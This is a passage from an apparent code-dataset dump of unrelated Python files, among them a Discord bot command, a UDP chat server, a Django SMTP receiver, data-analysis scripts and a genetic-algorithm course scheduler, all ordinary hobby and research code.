@commands.command(aliases=['d'])\n async def dictionary(self, ctx, value = None):\n if value:\n response = requests.get(f'https://api.dictionaryapi.dev/api/v2/entries/en_US/{value}')\n json = response.json()\n word = json[0]['word']\n pronounce = json[0]['phonetics'][0]['text']\n definition = json[0]['meanings'][0]['definitions'][0]['definition']\n embed = discord.Embed(color=0x850000)\n embed.add_field(name=f'\\n**{word}** - **{pronounce}**', value=f'{definition}')\n await ctx.send(embed=embed)\n else:\n embed = discord.Embed(color=0x850000)\n embed.add_field(name='`dictionary` `d`', value=\"it's a dictionary :) example: `?d hello`\")\n await ctx.send(embed=embed)\n \n @dictionary.error\n async def dictionary_error(self, ctx, error):\n if isinstance(error, commands.CommandInvokeError):\n embed=discord.Embed(description=\"Couldn't find the definition in our dictionary.\", color=0x850000)\n await ctx.send(embed=embed)\n \n \n\ndef setup(client):\n client.add_cog(FunCommands(client))","sub_path":"cogs/funcommands.py","file_name":"funcommands.py","file_ext":"py","file_size_in_byte":4072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"415327457","text":"from constructions import *\n\ndef rand_circle():\n return random_point(), np.random.lognormal(-1)\n\ndef init(env):\n c1 = env.add_free_circ(\n (450.0, 268.0), 93.7,\n hidden_center = False,\n rand_init = rand_circle,\n )\n c2 = env.add_free_circ(\n (171.0, 272.5), 58.7,\n hidden_center = False,\n rand_init = rand_circle,\n )\n\n env.set_tools(\n \"move\", \"point\", \"line\", \"circle\",\n \"perp_bisector\", \"angle_bisector\",\n \"perpendicular\", \"parallel\",\n \"compass\", \"intersection\",\n )\n env.goal_params(c1, c2)\n\ndef construct_goals(c1, c2):\n C1 = Point(c1.c)\n C2 = Point(c2.c)\n c3 = Circle(c2.c, abs(c1.r+c2.r))\n result = []\n for X in intersection_tool(c3, circle_by_diameter(C1,C2)):\n t = line_tool(C1, X)\n if np.dot(t.n, c2.c) > t.c: t.c += c1.r\n else: t.c -= c1.r\n result.append((t,))\n return result\n\n","sub_path":"10_kappa/03_InnerTangent.py","file_name":"03_InnerTangent.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"643280829","text":"\"\"\"\n TLE data of ISS\n 2021-12-12 Ichiro\n \"\"\"\nimport requests\nimport sys\nimport traceback\n \nURL = \"http://celestrak.com/NORAD/elements/stations.txt\"\n\n\ndef TleISS(): \n res = requests.get(URL)\n html = res.text.splitlines()\n\n tle = []\n\n for i in range(3):\n tle.append(html[i])\n return(tle)\n\nif __name__ == '__main__':\n try:\n tle = TleISS()\n print('TLE =',tle)\n \n except Exception as e:\n traceback.print_exc()\n sys.exit(1)\n ","sub_path":"astro/sat/TLE1.py","file_name":"TLE1.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"171542178","text":"import numpy as np\nimport seaborn as sns\nimport pandas as pd\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nplt.rcParams.update({'figure.max_open_warning': 0})\nimport os\n\n#------------------------------------------------------------------------------#\n'''\nProduce a correlation matrix plot for each SEGUE l.o.s. using 1000 mocks.\nMake a gif from the files.\n'''\n#------------------------------------------------------------------------------#\n\nrawdata_dir = '../../data/'\nrbins_dir = '../../mcmc_mock/data/rbins/'\nmod0_dir = '../../1000_mocks_cut/errors_pairs/data/'\nmod1_dir = '../1000_mocks_1/errors_pairs/data/'\nmod2_dir = '../1000_mocks_2/errors_pairs/data/'\nplots_dir = '../plots/'\n\n#------------------------------------------------------------------------------#\ndef GIF_MOVIE(files, output_gif, delay=60, repeat=True, removef=False):\n \"\"\"\n Given a list if 'files', it creates a gif file, and deletes temp files.\n\n Parameters\n ----------\n files: array_like\n List of abs. paths to temporary figures\n\n output_gif: str\n Absolute path to output gif file.\n \"\"\"\n loop = -1 if repeat else 0\n os.system('convert -delay %d -loop %d %s %s' %( delay,loop,\" \".join(files), \\\n output_gif) )\n\n if removef:\n for fname in files: os.remove(fname)\n\n#------------------------------------------------------------------------------#\n\ndef main():\n\n # Load list of pointing IDs\n todo_file = rawdata_dir + 'todo_list.ascii.dat'\n ID_list = np.genfromtxt(todo_file, skip_header=1, usecols=[0], unpack=True,\n dtype=str)\n N_los = len(ID_list)\n\n # Load bins centers\n bins_file = rbins_dir + 'rbins.ascii.dat'\n bin_centers = np.genfromtxt(bins_file, skip_header=1, usecols=[2], unpack=True)\n N_bins = len(bin_centers)\n\n # Round bin centers to three decimal places\n bin_centers = np.round(bin_centers, 3)\n\n # Make array of column names for pandas Dataframe\n col_names = []\n\n for i in range(N_bins):\n name = str(bin_centers[i])\n col_names.append(name)\n\n # Recast as array\n col_names = np.asarray(col_names)\n\n # Create list of png's for use in making gif\n png_list =[]\n\n # Calculate covariance matrix for each l.o.s.\n for ID in ID_list:\n\n # Load counts from 1000 mocks with pandas\n # Each row is a mock, each column is a bin\n\n # Load fiducial\n # mod0_filename = mod0_dir + 'normed_counts_all_' + ID + '.dat'\n # DF_0 = pd.read_csv(mod0_filename, sep='\\s+', names=col_names)\n\n # # Calculate fiducial covariance\n # cov_0 = DF_0.cov()\n\n\n # Load model 1\n mod1_filename = mod1_dir + 'normed_counts_all_' + ID + '.dat'\n DF_1 = pd.read_csv(mod1_filename, sep='\\s+', names=col_names)\n\n # Calculate fiducial covariance\n cov_1 = DF_1.cov()\n\n\n # Load model 2\n mod2_filename = mod2_dir + 'normed_counts_all_' + ID + '.dat'\n DF_2 = pd.read_csv(mod2_filename, sep='\\s+', names=col_names)\n\n # Calculate model 2 covariance\n cov_2 = DF_2.cov()\n\n\n\n # cov_div = cov_1 / cov_0\n # cov_frac = (cov_1 - cov_0) / cov_0\n\n # cov_div = cov_2 / cov_0\n # cov_frac = (cov_2 - cov_0) / cov_0\n\n # cov_div = cov_2 / cov_1\n cov_frac = (cov_2 - cov_1) / cov_1\n\n # plot heatmap of matrix\n plt.clf()\n sns.set(style=\"white\")\n mask = np.zeros_like(cov_frac, dtype=np.bool)\n # mask = np.zeros_like(cov_div, dtype=np.bool)\n mask[np.triu_indices_from(mask,1)] = True\n f, ax = plt.subplots(figsize=(11, 9))\n cmap = sns.diverging_palette(145, 280, s=85, l=25, n=7, as_cmap=True)\n sns.heatmap(cov_frac, mask=mask, cmap=cmap,square=True, annot=True,\n xticklabels=col_names, yticklabels=col_names, linewidths=.5,\n cbar_kws={\"shrink\": .5}, ax=ax, vmin=-2.0, vmax=2.0)\n # sns.heatmap(cov_div, mask=mask, cmap=cmap,square=True, annot=True,\n # xticklabels=col_names, yticklabels=col_names, linewidths=.5,\n # cbar_kws={\"shrink\": .5}, ax=ax, vmin=-1.0, vmax=3.0)\n # plt.title('Covariance matrix ratio for l.o.s. ' + ID, fontsize=20)\n plt.title('Covariance fractional difference for l.o.s. ' + ID, fontsize=20)\n plt.xlabel('Bin Center (kpc)', fontsize=18)\n plt.ylabel('Bin Center (kpc)', fontsize=18)\n\n # fig_name = plots_dir + 'cov_matrix_diff_10' + ID + '.png'\n # fig_name = plots_dir + 'cov_matrix_diff_20' + ID + '.png'\n fig_name = plots_dir + 'cov_matrix_diff_21' + ID + '.png'\n\n plt.savefig(fig_name)\n png_list.append(fig_name)\n\n # gif_name = plots_dir + 'cov_matrix_10.gif'\n # gif_name = plots_dir + 'cov_matrix_20.gif'\n gif_name = plots_dir + 'cov_matrix_21.gif'\n\n GIF_MOVIE(png_list, gif_name, removef=True)\n\nif __name__ == '__main__':\n main()","sub_path":"codes/referee_questions/real_sigmas_compare/compare_covariance/cov_diff_gifs.py","file_name":"cov_diff_gifs.py","file_ext":"py","file_size_in_byte":4965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"31326112","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\n\n\ndef load_all_data():\n\n return pd.read_pickle('../data/EURUSD-2010_2018-closeAsk.pkl')\n\n\ndef split_intervals(data_intervals, h_split):\n\n output_train = []\n output_label = []\n\n interval_length = np.shape(data_intervals[0])[0]\n split_idx = int(h_split*interval_length)\n\n for j, data_interval in enumerate(data_intervals):\n output_train.append(data_interval[:split_idx])\n output_label.append(data_interval[split_idx:])\n\n return output_train, output_label\n\n\ndef get_performance(cluster_indexes, labels):\n\n clusters = np.sort(np.unique(cluster_indexes))\n\n output_performance = []\n output_labels = []\n\n for c in clusters:\n indxs = np.where(cluster_indexes == c)[0]\n labels_ = np.asarray(labels)[indxs]\n output_labels.append(labels_)\n output_performance.append(np.sum(labels_))\n\n return output_performance, output_labels\n\n\ndef plot_hist(data, hists, title):\n\n if hists:\n fig = plt.figure()\n plt.hist(data,bins=30)\n plt.grid()\n plt.title(title)\n\n\ndef normalize_intervals(train_intervals):\n\n output = []\n\n for train in train_intervals:\n temp = train - np.mean(train)\n temp = temp / (np.amax(temp) - np.amin(temp))\n output.append(temp)\n\n return output\n\n\ndef get_cluster_indexes(normalized_train_intervals, n_clusters):\n\n kmeans = KMeans(n_clusters=n_clusters, random_state=0).fit(normalized_train_intervals)\n\n return kmeans.labels_\n\n\ndef get_labels(label_intervals):\n\n labels = []\n\n for data_ in label_intervals:\n\n labels.append(data_[-1]-data_[0])\n\n return labels\n\n\ndef get_intervals(date_init, date_end, interval):\n\n h_init, h_end=interval\n\n output = []\n rango_total = pd.date_range(date_init, date_end, freq='D')\n\n for i in rango_total:\n _ = pd.date_range(i,periods=1440, freq='T')\n output.append(_[h_init*60:h_end*60])\n\n return output\n\n\ndef data_to_intervals(data, intervals):\n\n interval_length = np.shape(intervals[0])[0]\n\n output = []\n\n for j, interval in enumerate(intervals):\n\n data_ = data[interval]\n\n if (not(np.isnan(data_).any())) and (np.shape(data_)[0] == interval_length):\n output.append(data_)\n\n return output\n","sub_path":"scripts/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"126080409","text":"# Import packages\nimport argparse\nimport numpy as np\n\n\ndef get_one_time_fd_value(principal, rate, period):\n '''\n ---------------\n Execute the function calls.\n ---------------\n '''\n return(principal*(rate**period))\n\n\ndef get_recurring_fd_value(principal, rate, period):\n '''\n ---------------\n Execute the function calls.\n ---------------\n '''\n amounts = [get_one_time_fd_value(principal, rate, tenure) for tenure in range(period + 1)]\n return(np.sum(np.array(amounts))) \n\ndef get_amount(amount, rate, period):\n '''\n ---------------\n Execute the function calls.\n ---------------\n '''\n principal = amount/(rate**period)\n return(principal)\n \ndef parse_args():\n '''\n ---------------\n Parse command line arguments here.\n ---------------\n '''\n parser = argparse.ArgumentParser(description='Process inputs to exchange rate routine.')\n parser.add_argument('--rate', type = float, help = 'Assumed FD rate of interest.', required = False)\n parser.add_argument('--period', type = int, help = 'No. of periods FD will be held for.', required = False)\n parser.add_argument('--principal', type = int, help = 'The total initial investment in rupees.', required = False)\n parser.add_argument('--r', dest='accumulate', action='store_const', const=get_recurring_fd_value, \n default=get_one_time_fd_value, help='sum the integers (default: find the max)')\n parser.add_argument('--a', dest='accumulate', action='store_const', const=get_amount, \n default=get_one_time_fd_value, help='sum the integers (default: find the max)')\n \n args = parser.parse_args()\n \n rate = args.rate\n period = args.period\n principal = args.principal\n recurring = args.accumulate\n \n print(args)\n \n return(rate, period, principal, recurring)\n\n\ndef main():\n '''\n ---------------\n Execute the function calls.\n ---------------\n '''\n msg = 'The total final value of this FD investment is {}'\n rate, period, principal, recurring = parse_args()\n amount = recurring(principal, rate, period)\n print(msg.format(amount))\n\n return\n\n\nif __name__ == '__main__':\n '''\n ---------------\n Call main function.\n ---------------\n '''\n main()","sub_path":"src/fd.py","file_name":"fd.py","file_ext":"py","file_size_in_byte":2298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"175069757","text":"#!/usr/bin/env python3\n# coding=utf-8\nimport socket\nfrom threading import Thread\n\nIP_ADDR = \"172.16.104.14\"\nPORT = 8081\nall_cl = []\nserver = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nserver.bind((IP_ADDR, PORT))\n\n\ndef Post():\n while True:\n msg = input(\"Server> \")\n for addr in all_cl:\n server.sendto(msg.encode(), addr)\n\n\ndef Get():\n while True:\n c_msg, client = server.recvfrom(1000)\n all_cl.append(client)\n print(\"\\n{} has joined the chat\".format(client[0]))\n if c_msg != None or c_msg != \"\":\n print(\"\\nClient> {}\\nServer> \".format(c_msg.decode()))\n\n\ndef main():\n print(\"Server Running at {}...\".format(IP_ADDR))\n try:\n t1 = Thread(target=Post)\n t2 = Thread(target=Get)\n t1.start()\n t2.start()\n except KeyboardInterrupt:\n print(\"Closing connection...\")\n server.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"s6/networks_lab/udp_bidirec/udp_server.py","file_name":"udp_server.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"38728044","text":"#!/usr/bin/env python\nimport sys\nimport re\nimport smtpd\nimport asyncore\nimport email\nimport mailbox\nfrom datetime import timedelta\n\nfrom django.conf import settings\nfrom django.utils import timezone\n\nfrom ecs.communication.models import Message\nfrom ecs.communication.mailutils import html2text\n\n\nclass SMTPError(Exception):\n def __init__(self, code, description):\n super().__init__('{} {}'.format(code, description))\n self.code = code\n self.description = description\n\n\nclass EcsSMTPChannel(smtpd.SMTPChannel):\n def handle_error(self):\n # Invoke the global exception hook to give raven a chance to report\n # errors to sentry.\n sys.excepthook(*sys.exc_info())\n self.handle_close()\n\n\nclass EcsMailReceiver(smtpd.SMTPServer):\n channel_class = EcsSMTPChannel\n\n # 1MB; this seems a lot, but also includes HTML and inline images.\n MAX_MSGSIZE = 1024 * 1024\n ANSWER_TIMEOUT = 365\n\n def __init__(self):\n smtpd.SMTPServer.__init__(self, settings.SMTPD_CONFIG['listen_addr'], None,\n data_size_limit=self.MAX_MSGSIZE)\n\n def _find_msg(self, recipient):\n msg_uuid, domain = recipient.split('@')\n\n if domain != settings.SMTPD_CONFIG['domain']:\n raise SMTPError(550, 'Relay access denied')\n\n m = re.match(r'ecs-([0-9A-Fa-f]{32})$', msg_uuid)\n if m:\n try:\n return Message.objects.get(uuid=m.group(1),\n timestamp__gt=timezone.now() - timedelta(days=self.ANSWER_TIMEOUT))\n except Message.DoesNotExist:\n pass\n raise SMTPError(553, 'Invalid recipient <{}>'.format(recipient))\n\n def _get_text(self, msg):\n plain = html = None\n\n for part in msg.walk():\n content_type = part.get_content_type()\n if content_type == 'text/plain':\n plain = part.get_payload(decode=True)\n elif content_type == 'text/html':\n html = html2text(part.get_payload(decode=True))\n elif content_type.startswith('multipart/'):\n continue\n else:\n raise SMTPError(554,\n 'Invalid message format - attachment not allowed')\n\n if not plain and not html:\n raise SMTPError(554, 'Invalid message format - empty message')\n\n return plain or html\n\n def process_message(self, peer, mailfrom, rcpttos, data):\n try:\n if len(rcpttos) > 1:\n raise SMTPError(554, 'Too many recipients')\n\n msg = email.message_from_string(data)\n text = self._get_text(msg)\n\n orig_msg = self._find_msg(rcpttos[0])\n thread = orig_msg.thread\n thread.messages.filter(\n receiver=orig_msg.receiver,\n ).update(unread=False)\n thread.add_message(orig_msg.receiver, text, rawmsg=data,\n rawmsg_msgid=msg['Message-ID'])\n\n except SMTPError as e:\n return str(e)\n\n return '250 Ok'\n\n def run_loop(self):\n asyncore.loop()\n","sub_path":"ecs/communication/smtpd.py","file_name":"smtpd.py","file_ext":"py","file_size_in_byte":3075,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"408483864","text":"import json\nimport pandas\nimport requests\nimport base64\n\n\nclass Functions:\n\n def __init__(self, credentials_store):\n credentials = credentials_store.getSecrets('functions_cred')\n self.credentials = credentials\n\n def call_function(self, name, args, debug=False):\n b64token = base64.b64encode(self.credentials[\"api_key\"].encode(\"utf-8\")).decode(\"utf-8\")\n headers = {'Content-type': 'application/json', 'Authorization': \"\".join([\"Basic \", b64token])}\n url = \"\".join([self.credentials[\"endpoint\"], name, \"?blocking=true\"])\n resp = requests.post(url=url, data=json.dumps(args), headers=headers)\n\n if debug:\n print(resp.text)\n\n return pandas.read_json(json.dumps(json.loads(resp.text)[\"response\"][\"result\"]), orient='split')\n","sub_path":"quantutils/api/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"195298447","text":"##### Task #####\n# Read two integers and print two lines. The first line should contain integer division, a//b. The second line should contain float divison, a/b. You don't need to perform any rouding or formatting operations.\n\n##### Input Format #####\n# The first line contains the first integer, a.\n# The second line contains teh second integer, b.\n\n##### Output Format #####\n# Print the two lines as described above.\n\nif __name__ == \"__main__\":\n a = int( input() )\n b = int( input() )\n\n print( a//b ) # Integer division\n print( a/b ) # Float division\n\n\n##### Sample Input #####\n# 4\n# 3\n##### Expected Output #####\n# 1\n# 1.333333333333333333333\n","sub_path":"Introduction/python_division.py","file_name":"python_division.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"336045008","text":"from keras.optimizers import SGD, Adam, Adadelta, Adagrad, Adamax, RMSprop, Nadam\n\n\ndef lr_normalizer(lr, optimizer):\n\n '''NORMALIZE LEARNING RATE ON DEFAULT 1'''\n\n if optimizer == Adadelta:\n lr = lr\n elif optimizer == SGD:\n lr = lr / 100\n elif optimizer == Adam:\n lr = lr / 1000\n elif optimizer == Adagrad:\n lr = lr / 100\n elif optimizer == Adamax:\n lr = lr / 500\n elif optimizer == RMSprop:\n lr = lr / 1000\n elif optimizer == Nadam:\n lr = lr / 500\n\n return lr\n","sub_path":"talos/model/normalizers.py","file_name":"normalizers.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"244638791","text":"import time, random, pibrella\n\n\nprint(\"Starting zoopy.py\")\nBUTTON_PRESSED=0\n\ndef button_pressed(pin):\n\tprint(\"Button was pressed!\")\n\tglobal BUTTON_PRESSED\n\tBUTTON_PRESSED=1\n\n\ti=random.randint(1,200)**0.8+5\n\tr=random.randint(0,10)\n\tr=2\n\tduration=random.random()*0.3+0.05\n\tif r==0:\n\t\tprint(\"Button special case: %s\"%r)\n\t\ti=i*5\n\telif r==1:\n\t\tprint(\"Button special case: %s\"%r)\n\t\tduration=1\n\t\ti/=5\n\telif r==2:\n\t\tprint(\"Button special case: %s\"%r)\n\t\tfor light in pibrella.lights:\n\t\t\tlight.stop()\n\t\ttime.sleep(random.randint(1,5))\n\t\ti*=10\n\t\tduration/=2\n\t\n\twhile i>0:\n\t\ti-=1\n\t\tpibrella.buzzer.note(random.randint(-20,20))\n\t\ttime.sleep(random.random()*duration)\n\t\tpibrella.buzzer.stop()\n\npibrella.button.pressed(button_pressed)\n\nwhile True:\n\tif random.randint(0,10) or BUTTON_PRESSED:\n\t\tlight=random.choice(pibrella.light)\n\t\tlight.stop()\n\t\tr=random.random()\n\t\ttimes=(r*random.random(),r*random.random(),r*random.random(),r*random.random())\n\t\tlight.pulse(*times)\n\t\ttime.sleep(sum(times[:3])+1)\n\telse:\n\t\ti=random.randint(1,5)\n\t\twhile i>0:\n\t\t\ti-=1\n\t\t\tpibrella.buzzer.note(random.randint(-10,10))\n\t\t\ttime.sleep(random.random()/2+0.1)\n\t\t\tpibrella.buzzer.stop()\n","sub_path":"pibrella-scripts/button_stuff.py","file_name":"button_stuff.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"16739865","text":"from rest_framework import serializers\nfrom core.models import Tag, Ingredient, Recipe\n\n\nclass TagSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for tag objects\"\"\"\n class Meta:\n model = Tag\n fields = ('id', 'name')\n read_only_fields = ('id',)\n\n\nclass IngredientSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for ingredient objects\"\"\"\n\n class Meta:\n model = Ingredient\n fields = ('id', 'name')\n read_only_fields = ('id',)\n\n\nclass RecipeSerializer(serializers.ModelSerializer):\n \"\"\"Serialize a recipe\"\"\"\n # class variable\n ingredients = serializers.PrimaryKeyRelatedField(\n many=True,\n # creates primary key related field\n # query set we allow is from Ingredients\n # lists ingredients with primary key id\n # we don't want all info of ingredient\n # we just want the name, id\n queryset=Ingredient.objects.all()\n )\n tags = serializers.PrimaryKeyRelatedField(\n many=True,\n queryset=Tag.objects.all()\n )\n\n class Meta:\n model = Recipe\n fields = ('id', 'title', 'ingredients', 'tags', 'time_minutes',\n 'price', 'link'\n )\n read_only_fields = ('id',)\n\n\nclass RecipeDetailSerializer(RecipeSerializer):\n \"\"\"Serialize a recipe detail\"\"\"\n\n # in Django REST framework we can\n # nest serializers\n # many = many recipes associated\n # read only works for our detail view\n ingredients = IngredientSerializer(many=True, read_only=True)\n tags = TagSerializer(many=True, read_only=True)\n\n\nclass RecipeImageSerializer(serializers.ModelSerializer):\n \"\"\" Serializer for uploading images to recipes\"\"\"\n\n class Meta:\n model = Recipe\n fields = ('id', 'image')\n read_only_fields = ('id',)\n","sub_path":"app/recipe/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"598615110","text":"# Copyright 2019-2021, Gavin E. Crooks and contributors\n#\n# This source code is licensed under the Apache License 2.0 found in\n# the LICENSE.txt file in the root directory of this source tree.\n\n\"\"\"\nPackage wide configuration\n\"\"\"\n\nimport platform\nimport re\nimport sys\nimport typing\nfrom importlib import metadata as importlib_metadata # type: ignore\n\n__all__ = [\"__version__\", \"about\"]\n\n\ntry:\n __version__ = importlib_metadata.version(__package__) # type: ignore\nexcept Exception: # pragma: no cover\n # package is not installed\n __version__ = \"?.?.?\"\n\n\ndef about(file: typing.TextIO = None) -> None:\n f\"\"\"Print information about the package\n\n ``> python -m {__package__}.about``\n\n Args:\n file: Output stream (Defaults to stdout)\n \"\"\"\n metadata = importlib_metadata.metadata(__package__) # type: ignore\n print(f\"# {metadata['Name']}\", file=file)\n print(f\"{metadata['Summary']}\", file=file)\n print(f\"{metadata['Home-page']}\", file=file)\n\n name_width = 24\n versions = {}\n versions[\"platform\"] = platform.platform(aliased=True)\n versions[__package__] = __version__\n versions[\"python\"] = sys.version[0:5]\n\n for req in importlib_metadata.requires(__package__): # type: ignore\n name = re.split(\"[; =><]\", req)[0]\n try:\n versions[name] = importlib_metadata.version(name) # type: ignore\n except Exception: # pragma: no cover\n pass\n\n print(file=file)\n print(\"# Configuration\", file=file)\n for name, vers in versions.items():\n print(name.ljust(name_width), vers, file=file)\n print(file=file)\n","sub_path":"qf_diamond_norm/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"179654297","text":"# 55. 混同行列の作成\n# 52で学習したロジスティック回帰モデルの混同行列(confusion matrix)を,学習データおよび評価データ上で作成せよ.\n\nfrom sklearn.metrics import confusion_matrix\nimport pandas as pd\nimport joblib\nimport time\n\nif __name__ == \"__main__\":\n # 処理時間を測りたいので開始時刻を記録しておく\n start = time.time()\n\n # データを読み込む\n X_train = pd.read_table(\"train.feature.txt\", header=None)\n Y_train = pd.read_table(\"train.txt\", header=None)[1]\n X_test = pd.read_table(\"test.feature.txt\", header=None)\n Y_test = pd.read_table(\"test.txt\", header=None)[1]\n\n # モデルを読み込む\n clf = joblib.load(\"model.joblib\")\n\n # 混同行列を求める\n train_cm = confusion_matrix(Y_train, clf.predict(X_train))\n test_cm = confusion_matrix(Y_test, clf.predict(X_test))\n\n # 混同行列をデータフレームワークに変換する\n # また、カテゴリのラベルを追加する\n labels = [\"b\", \"e\", \"m\", \"t\"]\n train_cm_labeled = pd.DataFrame(train_cm, columns=labels, index=labels)\n test_cm_labeled = pd.DataFrame(test_cm, columns=labels, index=labels)\n\n # 混同行列を表示する\n print(f\"train confusion matrix:\")\n print(f\"{train_cm_labeled}\")\n print(f\"test confusion matrix:\")\n print(f\"{test_cm_labeled}\")\n\n # 処理時間 = 終了時刻 - 開始時刻\n elapsed_time = time.time() - start\n print(f\"{elapsed_time} [sec]\") # 58.140055894851685 [sec]\n\n# 結果\n# train confusion matrix:\n# 予測したラベル\n# b e m t\n# 正 b 4408 57 4 33\n# 解 e 12 4206 0 5\n# ラ m 86 135 505 2\n# ベ t 143 131 1 944\n# ル\n#\n# test confusion matrix:\n# 予測したラベル\n# b e m t\n# 正 b 528 23 1 11\n# 解 e 11 516 0 1\n# ラ m 17 17 55 2\n# ベ t 32 24 2 94\n# ル","sub_path":"koyama/chapter06/knock55.py","file_name":"knock55.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"551538937","text":"from django.shortcuts import render\r\nfrom django.http import HttpResponse\r\nimport random\r\n\r\n\r\n#Function Parameters:\r\n#numCourses-> number of given courses to be scheduled\r\n#courses -> number of given constraints (courses, rooms, times, professors, and needed room capacity) to be scheduled\r\n#popSize-> number of chromosomes to be in the population\r\n#times-> All available slots for given courses\r\n#rooms-> All available rooms for given courses\r\n#maxIters-> The maximum iterations to go through the main loop of the genitic algorithm..(the while loop)\r\n#isElite-> A boolean value to allow the mutation process of elitism\r\n#The function genAlg takes these constrains and courses to schedule them\r\n\r\ndef genAlg(numCourses,courses,popSize,times,rooms,maxIters,isElite):\r\n\t#Create an empty list population\r\n\tpopulation = []\r\n\tfit = []\r\n\t#looping from 0 -> number of chromosomes to be in the population\r\n\tfor i in range(0,popSize):\r\n\t\t#looping from 0 -> number of chromosomes to be in the population\r\n\t\tfor j in range(0,numCourses):\r\n\t\t\t#Add a random time from the list of times to the population list \r\n\t\t\tpopulation.append(times[random.randrange(0,len(times))])\r\n\t\t\t#Add a random room from the list of rooms to the population list \r\n\t\t\tpopulation.append(rooms[random.randrange(0,len(rooms))])\r\n\t\t\t#Add courses to the list (population) from the (courses) list\r\n\t\t\tpopulation.append(courses[0+5*j])\r\n\t\t\t#Add the professors to the list (population) from the (courses) list\r\n\t\t\tpopulation.append(courses[1+5*j])\r\n\t\t\t#Add the Requested time to the list (population) from the (courses) list\r\n\t\t\tpopulation.append(courses[2+5*j])\r\n\t\t\t#Add the Requested rooms to the list (population) from the (courses) list\r\n\t\t\tpopulation.append(courses[3+5*j])\r\n\t\t\t#Add the needed room size to the list (population) from the (courses) list\r\n\t\t\tpopulation.append(courses[4+5*j])\r\n\r\n\t#the list (fit) = the output of the function (Fitness)\r\n\t#with population,popSize,numCourses,rooms, and times as parameters\r\n\tfit = fitness(population,popSize,numCourses,rooms,times)\r\n\r\n\ti = 0\r\n\r\n\t#while i<(The maximum iterations to go through that loop) \r\n\t# & the highest constraint score/number of given courses to be scheduled <0.9\r\n\twhile (i < maxIters) and ((float(max(fit))/(numCourses*7)) < 0.9):\r\n\t\tprint (i)\r\n\t\t#Creating a new list (newPop)\r\n\t\tnewPop = []\r\n\t\t#putting (fit) list in a new variable (toPull)\r\n\t\ttoPull = fit[:]\r\n\t\t#sorting toPull from the lowest to the highest constraint fitness score\r\n\t\ttoPull.sort()\r\n\t\ttoPull = toPull[int(0.9*len(toPull)):len(toPull)]\r\n\t\t#creting a new list topIndexs\r\n\t\ttopIndexs = []\r\n\t\t#putting (fit) list in a new variable (tempFit)\r\n\t\ttempFit = fit[:]\r\n\t\t#creting a new list tempPop\r\n\t\ttempPop = []\r\n\t\tfor j in range(0,len(toPull)):\r\n\t\t\t#putting the indexes of the constraints with the highiest fitness scores in the top indexs list\r\n\t\t\ttopIndexs.append(tempFit.index(toPull[j]))\r\n\t\t\ttempFit[topIndexs[j]] = 0\r\n\t\t\t#tempPop=tempPop+ population[form (topIndexs[j]*7*numCourse) -> (topIndexs[j]*7*numCourses)+7*numCourses]\r\n\t\t\ttempPop += population[topIndexs[j]*7*numCourses:(topIndexs[j]*7*numCourses)+7*numCourses]\r\n\r\n\t\tfor j in range(0,popSize):\r\n\t\t\t#Check if is Elite is True\r\n\t\t\tif isElite:\r\n\t\t\t#Create a new variable howToReproduce which contains a random value\r\n\t\t\t\thowToReproduce = random.random()\r\n\t\t\t#Create a new variable r which contains a random number from the range of(0 -> lenghth of top indexes)\r\n\t\t\t\tr = random.randrange(0,len(topIndexs))\r\n\t\t\t\t#Create a variable winner which contains\r\n\t\t\t\t#tempPop list[r*number of constraints->(r*number of constraints)+number of constraints]\r\n\t\t\t\twinner = tempPop[(r*numCourses*7):((r*numCourses*7)+(numCourses*7))]\r\n\t\t\t\t\r\n\t\t\t\tchild = 0\r\n\t\t\t\t\r\n\t\t\t\tif howToReproduce < 0.15:\r\n\t\t\t\t\t#child == the output of the mutation function\r\n\t\t\t\t\t#with winner,numCourses,times, and rooms as parameters\r\n\t\t\t\t\tchild = mutate(winner,numCourses,times,rooms)\r\n\t\t\t\telse:\r\n\t\t\t\t\t#assign howToReproduce to a random value from the range of (0 -> 3)\r\n\t\t\t\t\thowToReproduce = random.randrange(0,3)\r\n\t\t\t\t\t#check if howToReproduce == 0\r\n\t\t\t\t\tif howToReproduce == 0:\r\n\t\t\t\t\t\t#child == the output of the swapRooms function\r\n\t\t\t\t\t\t#with winner,numCourses, and rooms as parameters\r\n\t\t\t\t\t\tchild 